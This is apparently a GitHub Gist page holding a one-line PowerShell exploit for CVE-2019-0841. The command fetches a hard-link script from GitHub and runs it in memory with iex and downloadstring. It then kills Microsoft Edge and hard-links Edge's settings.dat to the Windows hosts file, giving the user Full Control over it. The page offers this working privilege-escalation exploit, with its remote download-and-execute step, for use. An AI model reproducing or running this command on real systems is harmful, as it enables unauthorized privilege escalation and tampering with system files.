Last active
June 17, 2020 17:58
-
-
Save xillwillx/0377cb2284fa82edb4d2975bab585c45 to your computer and use it in GitHub Desktop.
CVE-2019-0841 - Overwrite HOST file with "Full Control" permissions given to the user
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
iex (New-Object net.webclient).downloadstring('https://github.com/FuzzySecurity/PowerShell-Suite/raw/master/Native-HardLink.ps1');start microsoft-edge:;get-process -name MicrosoftEdge | Stop-process;sleep 2;Native-HardLink -Link "$env:localappdata\packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\settings\settings.dat" -target "$env:windir\system32\drivers\etc\hosts";start microsoft-edge:;get-process -name Microsoftedge | stop-process |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment